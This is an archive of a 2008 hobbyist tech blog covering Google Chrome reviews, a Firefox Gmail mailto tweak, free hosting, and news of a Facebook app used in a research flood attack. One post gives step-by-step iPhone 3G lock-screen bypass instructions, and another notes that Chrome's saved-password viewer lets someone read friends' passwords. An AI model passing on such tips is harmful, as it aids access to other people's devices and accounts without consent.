Next I installed phpmyadmin from the phpmyadmin website, since mysql really scares me. This took a long time, I had to figure out how to set up an authentication method. After several tries I finally got it working with http as the authentication method. It seems to work fine now.

next I spent a while working on my french website that I'm making to teach myself PHP. I want to make it able to accept new vocab, store it in a mysql DB and display it in nice, searchable tables. So far I've made it able to accept new vocab and put it into a primative table. Persistent storage is the next step.

Facebook - Are you being exploited?

2008-09-07T15:28:00.000-07:00

Raise your hand if you have an account on Facebook, Myspace, or any other social networking service? That's what I thought. Just about everyone. And, if you're anything like me and my group of friends then you have tons of nifty little applications on your profile. But are you really safe?

A group of computer researchers have developed an application for Facebook that will allow them to exploit any user who installs the application, without the users knowledge. The idea behind the exploit is to show a security flaw in social networks that could allow hackers to control the users of the social networks and utilize their computers for their own ends.

The researchers' application was the photo of the day application supposedly from National Geographic. Basically, once a use installed the application, they would be able to a daily picture from National Geographic - and they downloaded 3 pictures from another website without knowing about it.

The idea behind this particular attack (targeted at the researchers own servers) was to get as many people into the application as possible, and then flood the website that was being downloaded from. This is a very basic attack used for demonstration purposes, but if utilized by a malicious hacker, it could be much worse. And whats more, once the application was installed, the user was forced into the attack again every time they logged on - without their knowledge of course.

So the next time you find a nice little third party Facebook application, just remember that you could be getting recruited into a h4x07z cyber army... dun dun dunnnnn...

view the original Wired article.

ISS Gets WiFi

2008-09-07T15:03:00.000-07:00

I saw this story and couldn't help but laugh. The international Space Station (ISS) has been outfitted with Wireless internet. While this is awesome, I don't see how it could be useful. Everything up there probably has been hardwired in, and I don't see any body going up to visit it (costing a lot of money, the source says ~ $20 Million) and bringing themr laptop, so perhaps it is just one of those, "Check out what we have!"

Source.

Apple iPhone - A hack waiting to happen

2008-09-06T16:01:00.000-07:00

As many of you probably know, Apple has a new phone out - the omnipotent iPhone. They've certainly spent enough money on their advertising to show everyone their newest brain child. It's supposed to be "twice as fast, half the price". Which of course is false, as this pamphlet leaked by Verizon shows, they're are quite a few things that it seems Apple may have been trying to cover up.

Now, I could care less about most aspects of the phone on that list (not that I'm going to buy one soon anyway - if I had that much money lying around, I'd be buying something much better than a cell phone all dressed up in pretty clothes), but there is one very interesting thing about the phone I found out today thanks to the Register. Apparently, the iPhones security isn't quite up to date either.

What does THAT mean you may ask. Well, that means that it is quite easy to hack the iPhone 3G. And, being the Hack Hut, we'll let you know just how to do it. Apparently, it is possible to gain access to a password protected and locked iPhone's 'favorites' section without the passcode. By simply tapping the "emergency call" button from the passcode screen, and then double-tapping the "home" button, it is possible to bypass the passcode portion of the iPhone. From the favorites, you can gain access to many other portions of the iPhone, such as the browser screen, the e-mail client screen, or the address book.

If you have an iPhone, I wouldn't be too worried yet. Before you sue the pants off of Apple for selling you a phone with faulty security features, you should know that this hack DOES NOT work on all iPhone 3G's. The iPhone must have a certain software version (which I will not be disclosing). Also, if you do happen to have the faulty software, I would bet my life on the fact that Apple will come up with a firmware update to protect the vulnerable phones from hackers, especially since they are trying to promote the iPhone as a business-friendly phone. Not when it's that vulnerable!

As with all other "hacking" tutorials you may find on this blog, if used improperly the information in this post can be illegal. You should only try this on your OWN iPhone, or get the permission of the owner of an iPhone. But if you give it a shot legally, please let us know how it went! Did it work for you?

Howdy

2008-09-04T19:19:00.000-07:00

Hey everyone, it's Zaelore here. Hi. I really think computers are cool, and have great potential to change the world in ways we are just beginning to see today. For these reasons I want to learn as much about computers as possible. I'm working closely w/ wayfarer to get our own server working which we use as our own personal server/proxy/vpn/general computation box. Hopefully it'll be up for next week. Anyways that's it for now.

Free Hosting - Adventure 2

2008-09-04T13:13:00.000-07:00

Well, I just dropped out of another host. Award Space. They just didn't offer the features that I found in my favorite host. You see, Award Space (AS) gives me a free account. First of all, it was a pain in the butt signing up. In fact, I didn't even bother signing up. After going through the registration process, and finding out that the password that I had didn't work, I tried logging in to find that I had made an account for this service a long time ago. A little digging around found that password, and so I used that. Screw making a new account!

So, what was wrong with them? Well, they didn't offer what I wanted. They had good customer support, if that is any consolence, but they didn't offer what I wanted.

First of all, their servers (or at least the free ones) use PHP 4. 4.4.1, I belive, with MySQL 4 something as well. Which is okay, but really, PHP 5 is not that hard to get onto your servers. When I asked if I could update the PHP, they told me only if I paid them money. Fuck that, I'm not paying you anything, I'm testing your service. So no PHP 5 goodness for me.

Well, after working on my site, and doing something really cool, I decided that my website should have its own Blog. You know, the development blog, something quaint and useful. Well, turns out that their install tool is only for paid accounts as well. What?! I'm not paying YOU to install wordpress for me, I can do that on my own server Thank You Very Much. After both of those, I realized that they opporated under the rule of, pay us, and you can do anything. Ugh, fine, how much do you want?

...

$200? Are you joking? No thanks, I'm not in for that much. My own server cost less. If it wasn't having cancer, then I would use it. Time to go fix it, I guess.

So... now I'm back to my favorite host, finding out how much I really like them. Now only if I could access them from anywhere...

Google Chrome - A Second Opinion

2008-09-02T17:17:00.000-07:00

So, lucky me, I had cross country after school today and didn't even get back until around 7pm. So by the time I got back and installed Google Chrome (Which, by the way, was QUITE easy), the new browser had been released for some time all ready. It also means, however, that I was able to take a look at some of Wayfarer's posts and see the problems he had encountered already. So, as is only fair, I'll compare my findings to those of Wayfarers :)

Firstly, I also noticed the very basic browser interface. There were 4 buttons (back, forward, refresh, and favorites) and the address bar. That was pretty much it. Now, while I personally may prefer my Mozilla Firefox bar, which is stuffed full of different buttons like stumble, clear cache, my favorite RSS feeds, and some javascript applications, Chrome's minimalist tool bar seems to be perfect for the average joe user. My mom, for instance, only ever needs the back button, the home button, her favorites, and the address bar. Anything else just serves to confuse her.

But wait!? Wayfarer is correct! Where the heck is the home button? One nifty Chrome feature is the fact that every time you open a new tab, it will open to your home page. No more of that annoying "this is a new tab" page. But if your like Wayfarer, and that's just not good enough for you, and you just absolutely MUST have your home button, then there is a simple fix. Just click on the "customize" button (A little wrench in the right hand corner) and choose "options". You'll get this screen:

Just tick the option "show home button on the tool bar" and voila! You now have a home button between favorites and refresh.

Wayfarer also brought up a very valid concern with the ease that you can find out website's passwords with Google Chrome. To this I say, 'tis true, it is quite easy. But hey, it's just as easy to do on Firefox. And on Firefox, it shows all your passwords at once! I personally think this is an acceptable, if not quite necessary.

My personal experience all in all with Google Chrome was positive. I enjoy the simple user face and it's easy to use features. One last feature that I love, however, is the address bar. Not only does it help fill in sites you have visited, but it also fills in popular site you HAVEN'T visited. Endlessly useful in my honest opinion, since I am a very, very lazy person. And now I don't have to fully type my url's out :).

So you've heard first impressions from myself and Wayfarer - but what about you? Has anyone tried Chrome yet? Find anything cool to do with it? Any fun features or hacks?

Google Chrome faces Acid2 and Acid 3 Test

2008-09-02T13:48:00.000-07:00

So, after doing some checking, I didn't see anyone doing this yet, so I decided that I would. And post the results. Google Chrome, meet the Acid tests.

Google Chrome did well on the first test. And by well, I mean passed with flying colors. At least, as far as I can tell.

~~And now for the acid 3 test. Apparently, Google didn't want me to try. I will keep at it though.~~
Edit: I got the results in:

A respectable 79/100, but I don't think that is the top of the market.

Google Chrome - 5 Minute Thoughts

2008-09-02T13:27:00.000-07:00

For all those who don't know, Google launched their own browser. Vista and XP are supported with Linux and Mac versions coming out later.

So, I'm doing something new. I'm giving my 5 minute thoughts. After using Chrome for only 5 minutes, this is what I think:

Google always does a good job with making things simple, and this is no exception. The download process was different, but simple. It downloaded in its own installer without a hitch, and then proceeded to install. It recognized Mozilla Firefox on my computer, and asked me to import my settings from it. Which I proceed to do. I also set it as my default browser, deciding that I would give this a try for a while.

Chrome has a nice User Interface, which is helpful. It loads pages just fine, or at least the ones that I have been too. My Firefox info is all here. I quickly went to the options, and after a few moments, had my homepage set up (which was not imported), and was looking at what it could do. The options were pretty basic, but one caught my attention. The "show saved passwords." This intrigued me, so I went exploring. It showed me all the sites that I had been on and used a password + username. I found a site in which I didn't remember my password (all of which had been imported from Firefox), and hit "show password." And you know what? It did. That surprised me. Because now you have a easy way to find passwords of your friends and such. Have them type it in, remember the password, and then look it up later. It was so easy, I thought that it was actually bad. Sure, it could be nice if you forget, but if someone gets a hold of your computer, then they know all of your passwords. Insecure? Definitely.

No adblock plus. Well, damn. This really is the killer for every other Browser besides Firefox. There is no ad block plus, and now I have to live through the onslaught of ads all over again. And you know what? There won't be. At least not that I can predict. Google now has control over what other people can see with their own browser. Even though it may be open source, that doesn't mean that somebody can easily make an ad blocker. And Google doesn't want them too. Google makes ads for the web, why would they make a browser, and then block all of their ads. It doesn't make sense economically. So they won't.

Their spell checker is lacking. While I love that they have one, as I type this, and misspell words, I am used to right clicking and getting everything fixed. When I right click and only one option appears, which isn't the one I am looking for, I get sad. Very sad. I can type fast, but not always well. There is also no "Learn" the word feature.

No home button. Unless I am missing something here, I don't see it. And you know what? I like to go back to my Homepage. I do so obsessively. And now that I can't, it makes me really sad.

Those are the only things that I have really come across in 5 minutes. In general, It seems as though Chrome has a while to go before it catches up with Firefox. Internet Explorer may be in trouble, but from what I read else where, if you are using IE, then you don't know about Firefox, and you certainly won't know about Google Chrome. At least, not until Google buys Microsoft.

Speed Test

2008-09-02T13:01:00.000-07:00

So... my internet sucks. It isn't just that I don't like it, or I an greedy. It really sucks. It only just beats out having dial-up still. I mean, DSL is nice, but this really doesn't do it for me. At one point, maybe, but not anymore. Just to prove my point, here are my results from Speedtest.net.

See what I mean? This is in kilo bits per second too, which means you have to divide by 8 to get the actual Kilobytes per second. This translates to less than 100 kilobytes per second. Sad. A sad, sad world. However, not all hope is lost. While I'm not in college yet, it turns out my school has a very nice internet connection, and they have not put up their "great firewall" yet, so I can still download many things, and torrent many more. Check this out:

So you see, while you may have crappy internet at your house, elsewhere may be better for you. Until my school gets their act together, I'm going to be torrenting like no tomorrow on their connection. And when they block that, I will move onto http file transfers. Teach them a lesson.

Google Chrome: The Search Engine Behemoth Strikes Again!

2008-09-01T19:45:00.000-07:00

For a long time now, Google has been taking over the internet, capitalizing on it's popularity, and usability. From a search engine, it has evolved to include a map quest-esque direction and map service. They also have begun intruding upon the blogosphere by buying out the blogging service now called Blogger (which, as it happens, is the blog service that we use).

And now they're at it again.

Google has announced that they will be releasing their new web browser. Their have been a few myths flying around the past year or so about Google's web browser project, but it is official now.

Google Chrome will have many very neat features with it. One of these features will be a normal one for new browsers. Updated speed for javascript and other speed adjustments using what they call the "V8". The improved speed, according to Google, will help improve browsers for things that haven't even been created yet. So our future web applications are safe with Google Chrome.

Also, Chrome will use what is called "sandboxes" for the tabs. Basically this will allow each tab to run on an individual basis, helping protect against malware and one tab's crash from crashing another tab. Chrome will have another new feature called 'incognito'. Incognito is a privacy mode that means that your computer will not log or add history from any web window that you are in. You will be "invisible" when running incognito :).

Chrome will have several other awesome new features, but really what it comes down to is this: what does Chrome mean for the rest of the browsers? Mozilla Firefox has been gaining a large amount of popularity recently. How will Chrome affect them? What about good 'ole Internet Explorer (which if you're using, by the way, switch to Firefox already!) I for one am looking forward to playing around with Chrome when it releases. How about you? Do you like your current browser enough to forget about Chrome? Or is Chrome just another way for Google to take over the internet, little by little?

Firefox 3 adds "mailto:" hack

2008-09-01T16:10:00.000-07:00

I'm sure that I'm not the only one who's ever had this problem. You're cruising the internet, looking for something. Even you're not quite sure what you were looking for anymore. But you come across a website, and there's a bloody error on the page. Maybe the flash is broken, or the words-on-background are so abysmally horrible they make you want to tear your eyes out. So you do what any good web surfer should do. You click the little "email the webmaster" link hovering around the bottom of the page.

You all know what comes next, I'm sure. You spend about 10 minutes waiting for Microsoft Outlook to pop open so you can type your message, spend 1 minute typing the message, 4 minutes trying to figure out how to send the message, 30 minutes figuring out why outlook keeps encountering a problem, and then you finally give up and copy/paste the address to gmail. And, of course, the whole time you were wondering "Now wouldn't this have been easier if I could just use my Gmail account in the first place?" Good news! Firefox will now let you do just that!

In order to make Firefox use gmail as the default mailto service is quite simple, and takes virtually no time at all. First, open up your Firefox browser and in the address bar type:
about:config

A screen will open up warning you that continuing could void your warranty. Click "I'll be careful, I promise". You won't be voiding your warranty this time 'round.

Next, in the 'filter' bar, type:
gecko.handlerservice
This will show a smaller list of choices to pick from. Double click the option:
gecko.handlerService.allowRegisterFromDifferentHost
When you double click on this, the boolean value will become 'true'. This is exactly what you want it to do, as it will allow you to access a different email service from a mailto link. Lastly, copy the following javascript code into your browser's address bar and hit enter (I would copy and paste the code- you don't want to accidentally put the wrong javascript in):
javascript:window.navigator.registerProtocolHandler("mailto", "https://mail.google.com/mail/?extsrc=mailto&url=%s","GMail")

Now just click "add application" on the bar that appears below your address bar, and voila! The next time you click a mailto link, you can choose gmail, and if you tick the "remember my choice" box, then in the future Firefox will always use gmail.

Good bye outlook mailto nuisances!

Free Hosting - Adventure 1

2008-09-01T07:20:00.000-07:00

So, I don't know about everyone else out there, but I like to have websites. They are the door to the internet. Sure, some may not go anywhere, but it is fun to say that "I have my own website," and not just, "I have myspace." However, many people, like me, don't want to pay. Perhaps we just don't have the money, or we don't want to make an initial investment... just yet. So that puts us in a bad position.

Scavengers.

We must scowr the web for free hosting service - that work. This is the beginning of many adventures that I have had while looking for a good, reliable webhosting service (free!)

My adventures actually began a long time ago, but those were the silly days. The days of using the "common" free website hosters, such as freewebs. However, it soon became evident that those people did not appreciate my using of HTML to code websites, so I left, looking for a better host. And I came to one: Orgfree.

What made Orgfree good? Well, it was free. That was good. And it offered the ability to just type in HTML code. It also gave me a free MySQL database. In fact, things were looking up! But there were many things about it that ate me up. First of all, it didn't really offer anything besides that. It had a page that claimed to show how to install a tutorial, but after waiting many months, the tutorial never came. The entire company seemed to be at a standstill, not wanting to move forwards. And with the company not going anywhere, I wasn't going anywhere. I needed more. And that is what finally caused me to leave it.

Orgfree: Pro's - Free, easy, HTML editing, PHP + MySQL
Con's - Resizes your browser window whenever you log in, wasn't up all the time, hard to get around, didn't have blogs/scripts.

End Verdict: Don't go with it, there are just better things out there.

Hello World

2008-08-31T09:40:00.000-07:00

Being a programming and a computer jockey myself, I always feel it is appropriate as a first post to say "hello" to the world, like I do in all my first programs. I'm happy to be working with my friend on this blog, and will follow his lead. My job is to help out, and give more life to a small blog. Hopefully we can do a lot of fun things and have many people who will follow what we have to say, so we can share our knowledge.

Mike C

2008-08-31T08:10:00.000-07:00

Hello everyone! I feel that I should probably introduce myself a little bit. Basically, I am a computer geek at heart. Always have been, always will be. At school I was one of those "special kids" who was in the advanced computing classes with, like, two other people. I have made some good friends over the course of my relatively short life who share the same passion for technology as I do, and so I have decided to help spread that passion to others.

I do a variety of work on computers, mainly having to do with programming. I use Java, VB, Python, C++, and Ruby depending on what I need. I am also a big fan of web design, and I do a bit of image design for forum signatures and websites in my spare time. More than just the software/programming side of technology, however, I love to build all things robotic and circuit-y. If it has wires, turns on, and has at least one blinking light, then I love it :).

I hope that I will be able to keep y'all entertained and interested in the wonderful world of technology with my articles and posts, and I hope that you all enjoy your stay at the Hack Hut.

**One last note - we are looking for contributors to the Hack Hut, so if you are interested, please let us know!

First post

2008-08-31T08:03:00.000-07:00

Ok, so here is the first post in my blog. I'm just curious to see what's what in the world of blogging. After this post, I hope to be able to put up interesting, funny, and useful posts about lots of things, but concentrating on technology.

Contact Us

2007-08-31T11:28:00.000-07:00

Because there is so much maintenance required when it comes to keeping a blog like Hack Hut (and lets face it - most of our contributors have many other things they need to do!), we ask that you help us to keep our mailboxes clean.

If you wish to contact the Hack Hut team, please make your subject as easy to understand as possible. For example, use subject headings like "Problem with blog", "Wish to be a contributor", "tutorial method", or something similar to that. We may not be able to get to all the emails at once, and we will tend to look at the one's with important subjects first.

One last note about contacting us - we may NOT send a return email to everyone. We promise you that EVERY EMAIL WILL BE READ, but because our time is short, we will not be able to return an email for every message we get. So if you do not hear from our staff immediately, please don't fret; your message was still read.

If you wish to contact the Hack Hut team, please send us an email at thehackhut@gmail.com.

The Hack Hut Team

About Us

2007-08-31T11:14:00.000-07:00

The Hack Hut was originally designed to be a website with tools and tips about technology for the average joe. During the process of it being created, as often happens in the world of programming and web design, the Hut was changed to follow a more blog-oriented path. And so the Hack Hut was born.

The Hack Hut is a techno-blog for everyone. We have simple tutorials and suggestions for the technically-challenged, as well as some more detailed, complicated things for those who cherish their inner geek. The Hut attempts to appeal to as wide a range of an audience as it possibly can.

The current contributors to the Hack Hut are:
**Sum Deos (Mike C - USA)**
**Wayfarer (Ethan M - USA)**
**Zaelore (Henry H - USA)**

If you would like to become a contributor, or have an idea that you think the Hack Hut should mention, or need help with anything you read in this blog, please contact us. We are always looking for new tutorials and hacks to show to our readers.